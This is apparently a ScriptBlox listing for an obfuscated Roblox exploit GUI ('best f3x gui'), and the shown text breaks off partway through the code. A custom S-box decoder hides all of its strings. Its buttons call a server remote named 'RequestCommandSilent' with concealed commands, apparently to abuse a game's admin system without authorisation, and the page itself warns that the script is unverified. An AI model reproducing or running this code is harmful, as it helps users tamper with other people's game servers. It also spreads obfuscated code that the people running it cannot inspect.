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UnethicalNetworks best f3x gui
ScriptBlox
Universal
Free
Game: Universal Script 📌
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xxGodWhyxx
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hd
Script Code
--[[
obfuscated by daaddsaf
--]]
local _SBOX = { 131,70,205,100,171,162,145,44,83,160,33,8,82,29,68,107,118,139,194,188,81,129,19,254,87,184,136,4,182,193,199,226,102,173,195,165,52,236,233,140,93,110,239,158,78,26,228,55,90,79,63,133,222,38,179,185,116,22,76,227,189,54,154,175,3,142,9,113,204,39,157,251,247,220,89,0,105,196,161,69,146,98,45,232,62,59,202,197,219,238,32,67,207,192,101,191,31,75,64,170,178,155,57,244,201,223,186,119,218,122,92,43,174,225,208,121,252,95,167,23,40,246,212,214,168,114,213,240,41,97,28,150,2,138,134,42,34,103,126,15,183,253,172,130,61,234,123,206,153,120,88,14,176,49,96,109,10,231,65,177,216,198,74,230,53,72,21,203,66,243,47,11,187,84,229,117,224,37,143,16,5,163,135,73,60,149,108,200,164,169,124,111,255,190,104,241,147,77,211,180,112,86,148,141,152,85,137,215,159,235,50,248,144,106,24,48,128,221,12,91,36,250,94,210,35,56,58,25,20,237,6,249,127,209,132,17,18,99,125,1,51,217,71,151,7,242,27,115,181,156,245,30,80,13,166,46 }
local _SBOX_INV = {}
for i = 1,256 do
_SBOX_INV[_SBOX[i]] = i-1
end
local _SEED = 100
local function _VM(buf, callback)
local ip = 1
local k = bit32.band(_SEED,255)
local acc = k
while ip <= #buf do
local e = buf:byte(ip)
local x = _SBOX_INV[e]
local b = bit32.bxor(x, k)
k = bit32.band(k + e + acc, 255)
acc = bit32.band(acc + k, 255)
if callback then
callback(string.char(b))
end
ip += 1
end
end
local _T = {
"\xb3\xc7\x62\x01\x5c\xac\xe1\x52\xbb\x5d\x7d\xf0\x3c\x05\xec\x7e\xae",
"\xb9\x3a\x32\x3f\xfe\x9f\xe4\x49\x9e",
"\xef\x5e\xe8\x53\xc1\xc4\xb2\x1b\x0c\x08\xeb\x73",
"\xde\x94\xec\x2c\xbc\x91\x50\xa0\x1f",
"\xc3\x9c\x17\xbf\xc4",
"\x1a\x82\x8d\x03\x34\x61\x3f\xc9\x5a\x84",
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"\xde\xb4\x13\xea",
"\xec\x0c\xc8\xb5\x2f\x00\x32\xd4",
"\x8c\xe9\x3d\x7c\xce\xc4\x30\x3c\x40\x37",
"\xef\x80\x66\xf7\xd7\xf3",
"\xb3\xc7\x69\xed\x17\xd3",
"\xb9\xb5\x5f\xb8\x38\x9b\xe6\x48",
"\xde\xb4\x13\xea",
"\x8c\xc2\xa4\x31\x94\xa2",
"\xb9\xb5\x5f\xb8\xa6\xc1\x35\x7f\xb7\x50",
"\xde\xb4\x13\xea",
"\x8c\xc2\xa4\x31\x94\xa2",
"\xb9\x7f\xb1\xa2",
"\x8c\xe9\x3d\x7c\xce\xc4\x94\xdb\xab\x3d\x39\xd5",
"\xde\xb4\x13\xea",
"\xb9\xb5\x5f\xb8\x38\x2b\x13\x9b",
"\xde\xb4\x13\xea",
"\x6e\xe8\x8d\x2e\xf9\x20",
"\x13\x95\x30\xbb\x5a\x7f\x18\xaa\xc4\x08\xc5\x6c\x18",
"\xb9\xb5\x5f\xb8\x38\x2b\x13\x9b",
"\xde\xb4\x13\xea",
"\x5a\xfb\x5b\xe8\xef\x82\xa1\x84\x4d",
"\x13\x95\x30\xbb\x5a\x7f\x18\xaa\xc4\x08\xc5\x6c\x18",
"\xb9\x14\x44\xe8\x23\x98\x8f",
"\xb9\xb5\x5f\xb8\x38\x2b\x13\x9b",
"\xde\xb4\x13\xea",
"\xb9\x3a\xbe\x82\x42",
"\x8c\xe9\x3d\x7c\xce\xc4\x9f\x1a\xd8\x7c\x81",
"\xb9\x14\x44\x62\x99\xc9\x36\x46\x1c",
"\xb9\xb5\x5f\xb8\x38\x77\x4d\x6c\xf6\x48\x94\x63",
"\xde\xb4\x13\xea",
"\x5a\x92\x43\xe8\x62\xf8\xbd\x00\x07\x01\x82\xa9",
"\x8c\xe9\x3d\x7c\xce\xc4\x8d\xbf\xef\x67\x6c\x0d",
"\xde\xb4\x13\xea",
"\x5d\x69\xae\x1d\x97\xa6\x2e\x83\xd4",
"\xb9\xd9\x92\x61\xa5\xf2\x6a\x60\x5c",
"\xb9\xb5\x5f\xb8\x23\x0a\x72\xf3\x5e\xbe\xff\x93",
"\xde\xb4\x13\xea",
"\x5d\x69\xae\x1d\x97\xa6\x2e\x83\xd4",
"\xb9\xd9\x92\x61\xa5\xf2\x6a\x60\x5c",
"\xe9\xf1\x5e\x86\xa8\xa0\x26\xf0\x89\x4d",
"\xb9\xb5\x5f\xb8\x01\xa4\xb6\x23\x80",
"\xde\xb4\x13\xea",
"\x8c\xe3\x96\x71\xcd",
"\x4f\xf6\x38\xbb\xef\xd5\xb3\xff\xb0\xb0\xe5\x89\x0c",
"\x8c\xe9\x3d\x7c\xce\xc4\xf8\x93\x82\xfb\x5c\x1d\x9d\xb8",
"\xde\xb4\x13\xea",
"\xc3\x84\xe7\x49",
"\x5a\xfb\x5b\xe8\xef\x82\xa1\x73\xd1\x04\x61",
"\x66\x00\xe6\x31\xe2",
"\xb9\xb5\x5f\xb8\xb5\x3a\x13\x7f\xcb\x3e\xa7",
"\xde\xb4\x13\xea",
"\xc3\x84\xe7\x49",
"\x5a\xfb\x5b\xe8\xef\x82\xa1\x73\xd1\x04\x61",
"\x66\x00\xe6\x31\xe2",
"\x5a\xfb\x5b\xe8\xef\x82\xa1",
"\x13\x95\x30\xbb\x5a\x7f\x18\xaa\xc4\x08\xc5\x6c\x18",
"\xe9\x9f\x13\x0e\xbd\x1f\x0f\xe5",
"\x3b\x3f\x41\x8d\x4a\x71\xbe\x67\x5e\x85\x53\x25\xc7\x6d\x3e",
"\x5a\xfb\x5b\xe8\xc1\x6c\x55\x4f\xf0\x3a",
"\xb3\xc7\x69\xed\x17\xd3\x02\xbd\x88\x10\x57\xac\xd9",
"\xb9\xb5\x5f\xb8\x63\x9b\x40",
"\xb9\xb5\x5f\xb8\x63\x9b\x40",
"\xb9\xb5\x5f\xb8\x01\xa4\xb6\x19\x56\x0d\x42\x8a\x9e",
"\xde\xb4\x13\xea",
"\x8c\x26\xcf\x42\x7a\xaf\x03\x12\x13\x49",
"\xb9\xb5\x5f\xb8\x63\x43\xe0\x67\x74\x71",
"\xde\xb4\x13\xea",
"\xec\x0c\xc8\xb5\x2f\x00\x32\xd4",
"\x8c\xe9\x3d\x7c\xce\xc4\x30\x3c\x40\x37",
"\xef\x80\x66\xf7\xd7\xf3",
"\xb3\xc7\x69\xed\x17\xd3",
"\xb9\xb5\x5f\xb8\x38\x9b\xe6\x48",
"\xde\xb4\x13\xea",
"\x8c\xc2\xa4\x31\x94\xa2",
"\xb9\xb5\x5f\xb8\xa6\xc1\x35\x7f\xb7\x50",
"\xde\xb4\x13\xea",
"\x8c\xc2\xa4\x31\x94\xa2",
"\xb9\x7f\xb1\xa2",
"\x8c\xe9\x3d\x7c\xce\xc4\x94\xdb\xab\x3d\x39\xd5",
"\xde\xb4\x13\xea",
"\xb9\xb5\x5f\xb8\x38\x2b\x13\x9b",
"\xde\xb4\x13\xea",
"\x6e\xe8\x8d\x2e\xf9\x20",
"\x13\x95\x30\xbb\x5a\x7f\x18\xaa\xc4\x08\xc5\x6c\x18",
"\xb9\xb5\x5f\xb8\x38\x2b\x13\x9b",
"\xde\xb4\x13\xea",
"\x5a\xfb\x5b\xe8\xef\x82\xa1\x84\x4d",
"\x13\x95\x30\xbb\x5a\x7f\x18\xaa\xc4\x08\xc5\x6c\x18",
"\xb9\x14\x44\xe8\x23\x98\x8f",
"\xb9\xb5\x5f\xb8\x38\x2b\x13\x9b",
"\xde\xb4\x13\xea",
"\xb9\x3a\xbe\x82\x42",
"\x8c\xe9\x3d\x7c\xce\xc4\x9f\x1a\xd8\x7c\x81",
"\xb9\x14\x44\x62\x99\xc9\x36\x46\x1c",
"\xb9\xb5\x5f\xb8\x38\x77\x4d\x6c\xf6\x48\x94\x63",
"\xde\xb4\x13\xea",
"\x5a\x92\x43\xe8\x62\xf8\xbd\x00\x07\x01\x82\xa9",
"\x8c\xe9\x3d\x7c\xce\xc4\x8d\xbf\xef\x67\x6c\x0d",
"\xde\xb4\x13\xea",
"\x5d\x69\xae\x1d\x97\xa6\x2e\x83\xd4",
"\xb9\xd9\x92\x61\xa5\xf2\x6a\x60\x5c",
"\xb9\xb5\x5f\xb8\x23\x0a\x72\xf3\x5e\xbe\xff\x93",
"\xde\xb4\x13\xea",
"\x5d\x69\xae\x1d\x97\xa6\x2e\x83\xd4",
"\xb9\xd9\x92\x61\xa5\xf2\x6a\x60\x5c",
"\xe9\xf1\x5e\x86\xa8\xa0\x26\xf0\x89\x4d",
"\xb9\xb5\x5f\xb8\x01\xa4\xb6\x23\x80",
"\xde\xb4\x13\xea",
"\x8c\xe3\x96\x71\xcd",
"\x4f\xf6\x38\xbb\xef\xd5\xb3\xff\xb0\xb0\xe5\x89\x0c",
"\x8c\xe9\x3d\x7c\xce\xc4\xf8\x93\x82\xfb\x5c\x1d\x9d\xb8",
"\xde\xb4\x13\xea",
"\xc3\x84\xe7\x49",
"\x5a\xfb\x5b\xe8\xef\x82\xa1\x73\xd1\x04\x61",
"\x66\x00\xe6\x31\xe2",
"\xb9\xb5\x5f\xb8\xb5\x3a\x13\x7f\xcb\x3e\xa7",
"\xde\xb4\x13\xea",
"\xc3\x84\xe7\x49",
"\x5a\xfb\x5b\xe8\xef\x82\xa1\x73\xd1\x04\x61",
"\x66\x00\xe6\x31\xe2",
"\x5a\xfb\x5b\xe8\xef\x82\xa1",
"\x13\x95\x30\xbb\x5a\x7f\x18\xaa\xc4\x08\xc5\x6c\x18",
"\xe9\x9f\x13\x0e\xbd\x1f\x0f\xe5",
"\x3e",
"\x5a\xfb\x5b\xe8\xc1\x6c\x55\x4f\xf0\x3a",
"\x6e\x71\x3f\x74\xdf\xd4\x7a\xa5\xdc\x37\x18\xeb\xbc\xb8\xda",
"\xb9\xb5\x5f\xb8\x63\x9b\x40",
"\xb9\xb5\x5f\xb8\x63\x9b\x40",
"\xb9\xb5\x5f\xb8\x01\xa4\xb6\x19\x56\x0d\x42\x8a\x9e",
"\xde\xb4\x13\xea",
"\x8c\x26\xcf\x42\x7a\xaf\x03\x12\x13\x49",
"\xb9\xb5\x5f\xb8\x63\x43\xe0\x67\x74\x71",
"\xde\xb4\x13\xea",
"\xec\x0c\xc8\xb5\x2f\x00\x32\xd4",
"\x8c\xe9\x3d\x7c\xce\xc4\x30\x3c\x40\x37",
"\xef\x80\x66\xf7\xd7\xf3",
"\xb3\xc7\x69\xed\x17\xd3",
"\xb9\xb5\x5f\xb8\x38\x9b\xe6\x48",
"\xde\xb4\x13\xea",
"\x8c\xc2\xa4\x31\x94\xa2",
"\xb9\xb5\x5f\xb8\xa6\xc1\x35\x7f\xb7\x50",
"\xde\xb4\x13\xea",
"\x8c\xc2\xa4\x31\x94\xa2",
"\xb9\x7f\xb1\xa2",
"\x8c\xe9\x3d\x7c\xce\xc4\x94\xdb\xab\x3d\x39\xd5",
"\xde\xb4\x13\xea",
"\xb9\xb5\x5f\xb8\x38\x2b\x13\x9b",
"\xde\xb4\x13\xea",
"\x6e\xe8\x8d\x2e\xf9\x20",
"\x13\x95\x30\xbb\x5a\x7f\x18\xaa\xc4\x08\xc5\x6c\x18",
"\xb9\xb5\x5f\xb8\x38\x2b\x13\x9b",
"\xde\xb4\x13\xea",
"\x5a\xfb\x5b\xe8\xef\x82\xa1\x84\x4d",
"\x13\x95\x30\xbb\x5a\x7f\x18\xaa\xc4\x08\xc5\x6c\x18",
"\xb9\x14\x44\xe8\x23\x98\x8f",
"\xb9\xb5\x5f\xb8\x38\x2b\x13\x9b",
"\xde\xb4\x13\xea",
"\xb9\x3a\xbe\x82\x42",
"\x8c\xe9\x3d\x7c\xce\xc4\x9f\x1a\xd8\x7c\x81",
"\xb9\x14\x44\x62\x99\xc9\x36\x46\x1c",
"\xb9\xb5\x5f\xb8\x38\x77\x4d\x6c\xf6\x48\x94\x63",
"\xde\xb4\x13\xea",
"\x5a\x92\x43\xe8\x62\xf8\xbd\x00\x07\x01\x82\xa9",
"\x8c\xe9\x3d\x7c\xce\xc4\x8d\xbf\xef\x67\x6c\x0d",
"\xde\xb4\x13\xea",
"\x5d\x69\xae\x1d\x97\xa6\x2e\x83\xd4",
"\xb9\xd9\x92\x61\xa5\xf2\x6a\x60\x5c",
"\xb9\xb5\x5f\xb8\x23\x0a\x72\xf3\x5e\xbe\xff\x93",
"\xde\xb4\x13\xea",
"\x5d\x69\xae\x1d\x97\xa6\x2e\x83\xd4",
"\xb9\xd9\x92\x61\xa5\xf2\x6a\x60\x5c",
"\xe9\xf1\x5e\x86\xa8\xa0\x26\xf0\x89\x4d",
"\xb9\xb5\x5f\xb8\x01\xa4\xb6\x23\x80",
"\xde\xb4\x13\xea",
"\x8c\xe3\x96\x71\xcd",
"\x4f\xf6\x38\xbb\xef\xd5\xb3\xff\xb0\xb0\xe5\x89\x0c",
"\x8c\xe9\x3d\x7c\xce\xc4\xf8\x93\x82\xfb\x5c\x1d\x9d\xb8",
"\xde\xb4\x13\xea",
"\xc3\x84\xe7\x49",
"\x5a\xfb\x5b\xe8\xef\x82\xa1\x73\xd1\x04\x61",
"\x66\x00\xe6\x31\xe2",
"\xb9\xb5\x5f\xb8\xb5\x3a\x13\x7f\xcb\x3e\xa7",
"\xde\xb4\x13\xea",
"\xc3\x84\xe7\x49",
"\x5a\xfb\x5b\xe8\xef\x82\xa1\x73\xd1\x04\x61",
"\x66\x00\xe6\x31\xe2",
"\x5a\xfb\x5b\xe8\xef\x82\xa1",
"\x13\x95\x30\xbb\x5a\x7f\x18\xaa\xc4\x08\xc5\x6c\x18",
"\xe9\x9f\x13\x0e\xbd\x1f\x0f\xe5",
"\xb9\x84\xce",
"\x3b\x3f\xb0\x62\x72\x09\x6d\x4d\xad\xce\xd7\xba\x18\x8a\x7b",
"\xc0\xe0\xb2\x79\x17\x81\x4a\x71\x01\x82\xb5\x19\xbc\x51\x7e",
"\xb9\xb5\x5f\xb8\x63\x9b\x40",
"\xb9\xb5\x5f\xb8\x63\x9b\x40",
"\xb9\xb5\x5f\xb8\x01\xa4\xb6\x19\x56\x0d\x42\x8a\x9e",
"\xde\xb4\x13\xea",
"\x8c\x26\xcf\x42\x7a\xaf\x03\x12\x13\x49",
"\xb9\xb5\x5f\xb8\x63\x43\xe0\x67\x74\x71",
"\xde\xb4\x13\xea",
"\xec\x0c\xc8\xb5\x2f\x00\x32\xd4",
"\x8c\xe9\x3d\x7c\xce\xc4\x30\x3c\x40\x37",
"\xef\x80\x66\xf7\xd7\xf3",
"\xb3\xc7\x69\xed\x17\xd3",
"\xb9\xb5\x5f\xb8\x38\x9b\xe6\x48",
"\xde\xb4\x13\xea",
"\x8c\xc2\xa4\x31\x94\xa2",
"\xb9\xb5\x5f\xb8\xa6\xc1\x35\x7f\xb7\x50",
"\xde\xb4\x13\xea",
"\x8c\xc2\xa4\x31\x94\xa2",
"\xb9\x7f\xb1\xa2",
"\x8c\xe9\x3d\x7c\xce\xc4\x94\xdb\xab\x3d\x39\xd5",
"\xde\xb4\x13\xea",
"\xb9\xb5\x5f\xb8\x38\x2b\x13\x9b",
"\xde\xb4\x13\xea",
"\x6e\xe8\x8d\x2e\xf9\x20",
"\x13\x95\x30\xbb\x5a\x7f\x18\xaa\xc4\x08\xc5\x6c\x18",
"\xb9\xb5\x5f\xb8\x38\x2b\x13\x9b",
"\xde\xb4\x13\xea",
"\x5a\xfb\x5b\xe8\xef\x82\xa1\x84\x4d",
"\x13\x95\x30\xbb\x5a\x7f\x18\xaa\xc4\x08\xc5\x6c\x18",
"\xb9\x14\x44\xe8\x23\x98\x8f",
"\xb9\xb5\x5f\xb8\x38\x2b\x13\x9b",
"\xde\xb4\x13\xea",
"\xb9\x3a\xbe\x82\x42",
"\x8c\xe9\x3d\x7c\xce\xc4\x9f\x1a\xd8\x7c\x81",
"\xb9\x14\x44\x62\x99\xc9\x36\x46\x1c",
"\xb9\xb5\x5f\xb8\x38\x77\x4d\x6c\xf6\x48\x94\x63",
"\xde\xb4\x13\xea",
"\x5a\x92\x43\xe8\x62\xf8\xbd\x00\x07\x01\x82\xa9",
"\x8c\xe9\x3d\x7c\xce\xc4\x8d\xbf\xef\x67\x6c\x0d",
"\xde\xb4\x13\xea",
"\x5d\x69\xae\x1d\x97\xa6\x2e\x83\xd4",
"\xb9\xd9\x92\x61\xa5\xf2\x6a\x60\x5c",
"\xb9\xb5\x5f\xb8\x23\x0a\x72\xf3\x5e\xbe\xff\x93",
"\xde\xb4\x13\xea",
"\x5d\x69\xae\x1d\x97\xa6\x2e\x83\xd4",
"\xb9\xd9\x92\x61\xa5\xf2\x6a\x60\x5c",
"\xe9\xf1\x5e\x86\xa8\xa0\x26\xf0\x89\x4d",
"\xb9\xb5\x5f\xb8\x01\xa4\xb6\x23\x80",
"\xde\xb4\x13\xea",
"\x8c\xe3\x96\x71\xcd",
"\x4f\xf6\x38\xbb\xef\xd5\xb3\xff\xb0\xb0\xe5\x89\x0c",
"\x8c\xe9\x3d\x7c\xce\xc4\xf8\x93\x82\xfb\x5c\x1d\x9d\xb8",
"\xde\xb4\x13\xea",
"\xc3\x84\xe7\x49",
"\x5a\xfb\x5b\xe8\xef\x82\xa1\x73\xd1\x04\x61",
"\x66\x00\xe6\x31\xe2",
"\xb9\xb5\x5f\xb8\xb5\x3a\x13\x7f\xcb\x3e\xa7",
"\xde\xb4\x13\xea",
"\xc3\x84\xe7\x49",
"\x5a\xfb\x5b\xe8\xef\x82\xa1\x73\xd1\x04\x61",
"\x66\x00\xe6\x31\xe2",
"\x5a\xfb\x5b\xe8\xef\x82\xa1",
"\x13\x95\x30\xbb\x5a\x7f\x18\xaa\xc4\x08\xc5\x6c\x18",
"\xe9\x9f\x13\x0e\xbd\x1f\x0f\xe5",
"\xc0\xe0\xb2\x79\x17\x81\x4a\x71\x01\x82\xb5\x19\xbc\x51",
"\x5a\xfb\x5b\xe8\xc1\x6c\x55\x4f\xf0\x3a",
"\x66\xfb\x70\x04\xe4\x08\xc3\xf8\x40",
"\xb3\xc7\x62\x01\x5c\xac\xe1\x52\xbb\x5d\x7d\xf0\x3c\x05\xec\x7e\xae",
"\x4e\x2d\x50\x66\xf7\x6a\x12\x4c\x59\x86\xcd\x48\x51\xa6\x23",
"\xbf\x38\x4d\x11\x41\x84\xef\x0c\xb7\x6a\x3a\xc9\x23\xc0",
"\xbf\x19\x3a\xf7\x29\xd7",
"\x5a\xfb\x5b\xe8\xc1\x6c\x55\x4f\xf0\x3a",
"\x5d\x59\xc9\x76\x06\xd7\x07\xc2\x9a\xaf\x8a\x9d",
"\xb3\xc7\x62\x01\x5c\xac\xe1\x52\xbb\x5d\x7d\xf0\x3c\x05\xec\x7e\xae",
"\x4e\x2d\x50\x66\xf7\x6a\x12\x4c\x59\x86\xcd\x48\x51\xa6\x23",
"\xbf\x07\x51\x44\x62\x7b\xda\x21\x9f\x8e\x98\xac\x65\xe4\x53\xc3\xd0\xf3\xcd\x6b\x6e\xfd\x3e\x6e\x05\x8d\x6c\xdd\xb5\x1f\x9c\xae\x1a\x65\x80\x4d\x87\x54\x26\x77\xe4\x48\x66\x0a\x11\x31",
"\xbf\x07\x51\x44\x62\x7b\xda\x21\x9f\x8e\x98\xac\x65\xe4\x53\xc3\xd0\xf3\xcd\x6b\x6e\xfd\x3e\x6e\x05\x8d\x6c\xdd\xb5\x1f\x9c\xae\x1a\x65\x80\x4d\x87\x54\x26\x77\xe4\x48\x66\x0a\x11\x31",
"\x5a\xfb\x5b\xe8\xc1\x6c\x55\x4f\xf0\x3a",
"\x1a\xb7\xbb\x0c\xfa\xf7\xc3\x4d\x4c\xe9\xbf\xdf",
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"\xb3\xc7\x62\x01\x5c\xac\xe1\x52\xbb\x5d\x7d\xf0\x3c\x05\xec\x7e\xae",
"\x4e\x2d\x50\x66\xf7\x6a\x12\x4c\x59\x86\xcd\x48\x51\xa6\x23",
"\xbf\x84\x96\xc7\x11\x83\x16\x71\x2a\x2b\x1f\xc6\x37\xef\x56\x91\x9f\x27\x1a\xd9\x93\xd3\x55\x44\x88\x77\x6c\xa0\x65\x7d\x88\x50\xd7\xe0\x55\xfc\x62\x17\xbc\x28\x9b\x69\x58\x90",
"\x5a\xfb\x5b\xe8\xc1\x6c\x55\x4f\xf0\x3a",
"\xb9\x07\xc1\x38",
"\xb3\xc7\x62\x01\x5c\xac\xe1\x52\xbb\x5d\x7d\xf0\x3c\x05\xec\x7e\xae",
"\x4e\x2d\x50\x66\xf7\x6a\x12\x4c\x59\x86\xcd\x48\x51\xa6\x23",
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"\x5a\xfb\x5b\xe8\xc1\x6c\x55\x4f\xf0\x3a",
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"\x4e\x2d\x50\x66\xf7\x6a\x12\x4c\x59\x86\xcd\x48\x51\xa6\x23",
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"\xb3\xc7\x62\x01\x5c\xac\xe1\x52\xbb\x5d\x7d\xf0\x3c\x05\xec\x7e\xae",
"\x4e\x2d\x50\x66\xf7\x6a\x12\x4c\x59\x86\xcd\x48\x51\xa6\x23",
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"\x5a\xfb\x5b\xe8\xc1\x6c\x55\x4f\xf0\x3a",
"\xb9\x12\xfe\x3c\x20\x7d\xd2\xd4\x8f\x27\xab\x7e\xba\x35\x9f\x1b\x19\x9b\xd5",
"\xb3\xc7\x62\x01\x5c\xac\xe1\x52\xbb\x5d\x7d\xf0\x3c\x05\xec\x7e\xae",
"\x4e\x2d\x50\x66\xf7\x6a\x12\x4c\x59\x86\xcd\x48\x51\xa6\x23",
"\xbf\x84\x96\xc7\x11\x83\x16\xc4\x4f\xbc\xf5\xa1\xba\x58\x2c\x3a\x1f\xc3\x4b\x3a\x9a\xf8\xaf\xc8\xde\xbc\x45\x15\xb2",
"\x5a\xfb\x5b\xe8\xc1\x6c\x55\x4f\xf0\x3a",
"\x6b\xb8\x42\x54\x69\x93\x5c\x65\xfd\x4f\xa4\xa0\x46\x04",
"\xb3\xc7\x62\x01\x5c\xac\xe1\x52\xbb\x5d\x7d\xf0\x3c\x05\xec\x7e\xae",
"\x4e\x2d\x50\x66\xf7\x6a\x12\x4c\x59\x86\xcd\x48\x51\xa6\x23",
"\xbf\x84\x96\xc7\x11\x83\x16\x59\xe6\x9f\xa6\x00\x94\xa5\x9b\x06\x75\x2d\x00\xb4\x74\x28\x12\x98\xa3\xf5\xf6\x16\x79",
"\x5a\xfb\x5b\xe8\xc1\x6c\x55\x4f\xf0\x3a",
"\xe9\xfa\xa3\xc0\xb9\xe6\x7f\xa6\x1a\x68\xd5\x2f\xa6\xd6\x58\xc4\x28\xc2\x61\x60\x54\xf5",
"\xb3\xc7\x62\x01\x5c\xac\xe1\x52\xbb\x5d\x7d\xf0\x3c\x05\xec\x7e\xae",
"\x4e\x2d\x50\x66\xf7\x6a\x12\x4c\x59\x86\xcd\x48\x51\xa6\x23",
"\xbf\x84\x96\xc7\x11\x83\x16\x09\x79\x38\x89\xda\x00\xe9\x19\xa9\xe8\x12\x77\x2f\x34\x78\xa7\x8b\xf8\xa1\xa6\x94\xfe\xc0\x50\x42\x80\x9d\xbf\x41\x95\x1c\x44\xd3\xae\x45\x15\xd8\x74",
"\x5a\xfb\x5b\xe8\xc1\x6c\x55\x4f\xf0\x3a",
"\xef\x07\x7e\x77\xfb\xc0\xb6\xfb",
"\xb3\xc7\x62\x01\x5c\xac\xe1\x52\xbb\x5d\x7d\xf0\x3c\x05\xec\x7e\xae",
"\x4e\x2d\x50\x66\xf7\x6a\x12\x4c\x59\x86\xcd\x48\x51\xa6\x23",
"\xbf\x84\x96\xc7\x11\x83\x16\x59\xf3\x68\xe7\xa4\x1c\x66\x3a\xd5\xce\xbb\x8c\x69\x81\xa5\x57\xa8\x41\x5f\x33\x8c\x56\xdc\x76\x6f\x6f\x85\xb5\x76\xbf\xe2\x16\x70\xb0\x8f\xd9\x7d\x84",
"\x5a\xfb\x5b\xe8\xc1\x6c\x55\x4f\xf0\x3a",
"\x5d\x77\x69\xbf\xac\xb8\xf4\xed\x54\x1f\x28\xe9\x3b\xcf",
"\xb3\xc7\x62\x01\x5c\xac\xe1\x52\xbb\x5d\x7d\xf0\x3c\x05\xec\x7e\xae",
"\x4e\x2d\x50\x66\xf7\x6a\x12\x4c\x59\x86\xcd\x48\x51\xa6\x23",
"\xbf\x84\x96\xc7\x11\x83\x16\x59\x0b\x74\x18\x72\x7a\x63\x5a\x52\xc6\xaf\xcf\xf6\xe5\x69\xdf\xf9\x81\x8f\xa1\x86\x3f\x68\x27\xc2\x3a\x2e\xdb\xae\x59\xd6\x8b\x7a\x30\xf3\xc4\xec\xd9\x57",
"\x52\x5c\x29\x2e\x55\x7f\x55\x8a\xa5\xa2\x75\x02\x9c\x64\x7f\xc0\x85\xc7\xda\xcd\x3d\x0e\x2f\x6f\x71\x12\xf0\x39\x50\x97\xf2\x37\x32\x3a\xd4\xb3\x2e\x93\xe3\x10\xe1\x5d\x57\x8d\xe2\xb7\x7a\x7e\x31\x8a\x6b\xf0\xcd\xad\x75\x49\x73\xeb\x71"
}
local function _D(i)
local out={}
_VM(_T[i], function(c)
out[#out+1]=c
end)
local s=table.concat(out)
table.clear(out)
return s
end
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
local player = game.Players.LocalPlayer
local replicatedStorage = game:GetService(_D(1))
local LNickyz = Instance.new(_D(2))
LNickyz.Name = _D(3)
LNickyz.Parent = player:WaitForChild(_D(4))
LNickyz.ResetOnSpawn = false
LNickyz.IgnoreGuiInset = false
local mainFrame = Instance.new(_D(5))
mainFrame.Size = UDim2.new(0, 500, 0, 500)
mainFrame.Position = UDim2.new(0.5, -300, 0.5, -225)
mainFrame.BackgroundColor3 = Color3.new(152, 3, 252)
mainFrame.BorderSizePixel = 3
mainFrame.BorderColor3 = Color3.new(152, 3, 252)
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = LNickyz
local ImageBK = Instance.new(_D(6))
ImageBK.Parent = mainFrame
ImageBK.BorderColor3 = Color3.new(152, 3, 252)
ImageBK.BorderSizePixel = 0
ImageBK.BackgroundColor3 = Color3.new(152, 3, 252)
ImageBK.Position = UDim2.new(0.5, -300, 0.45, -255)
ImageBK.Size = UDim2.new(0, 600, 0, 600)
ImageBK.Image = _D(7)
ImageBK.BackgroundTransparency = 1
ImageBK.ImageTransparency = 0.8
mainFrame.BorderColor3 = Color3.new(152, 3, 252)
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = LNickyz
local titleText = Instance.new(_D(8))
titleText.Size = UDim2.new(1, 0, 0, 40)
titleText.Position = UDim2.new(0, 1, -0.03, 0)
titleText.BackgroundColor3 = Color3.new(0, 0, 0)
titleText.BorderSizePixel = 4
titleText.BorderColor3 = Color3.new(1, 1, 1)
titleText.Font = Enum.Font.SourceSansBold
titleText.Text = _D(9)
titleText.TextColor3 = Color3.new(1, 1, 1)
titleText.TextSize = 37
titleText.Parent = mainFrame
local titleText = Instance.new(_D(10))
titleText.Size = UDim2.new(0.1, 0, 0, 30)
titleText.Position = UDim2.new(0.45, 1, 0.072, 0)
titleText.BackgroundColor3 = Color3.new(0, 0, 0)
titleText.BorderSizePixel = 0
titleText.BorderColor3 = Color3.new(1, 0.4, 0)
titleText.Font = Enum.Font.SourceSansSemibold
titleText.Text = _D(11)
titleText.TextColor3 = Color3.new(1, 1, 1)
titleText.TextSize = 39
titleText.BackgroundTransparency = 1
titleText.Parent = mainFrame
local scrollingFrame = Instance.new(_D(12))
scrollingFrame.Size = UDim2.new(1, 0, 0.3, 0)
scrollingFrame.Position = UDim2.new(0, 0, 0.16, 0)
scrollingFrame.BackgroundColor3 = Color3.new(0.01, 0.01, 0.01)
scrollingFrame.BorderColor3 = Color3.new(1, 1, 1)
scrollingFrame.BorderSizePixel = 0.0001
scrollingFrame.ScrollBarThickness = 6.5
scrollingFrame.BackgroundTransparency = 1
scrollingFrame.Parent = mainFrame
local UTSG = Instance.new(_D(13))
UTSG.Size = UDim2.new(0, 70, 0, 30)
UTSG.Position = UDim2.new(0.005, 1, 0.068, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(14)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = mainFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(15))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(16)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(17))
end)
local UTSG = Instance.new(_D(18))
UTSG.Size = UDim2.new(0, 70, 0, 30)
UTSG.Position = UDim2.new(0.85, 1, 0.068, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
UTSG.BorderColor3 = Color3.new(1, 1, 1)
UTSG.Font = Enum.Font.SourceSansSemibold
UTSG.Text = _D(19)
UTSG.TextColor3 = Color3.new(1, 1, 1)
UTSG.TextSize = 25
UTSG.Parent = mainFrame
UTSG.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService(_D(20))
local RequestCommand = ReplicatedStorage:WaitForChild(_D(21)).Signals.RequestCommandSilent
RequestCommand:InvokeServer(_D(22))
end)
local UTSG = Instance.new(_D(23))
UTSG.Size = UDim2.new(0, 90, 0, 35)
UTSG.Position = UDim2.new(0.005, 1, 0.002, 0)
UTSG.BackgroundColor3 = Color3.new(0, 0, 0)
UTSG.BorderSizePixel = 2
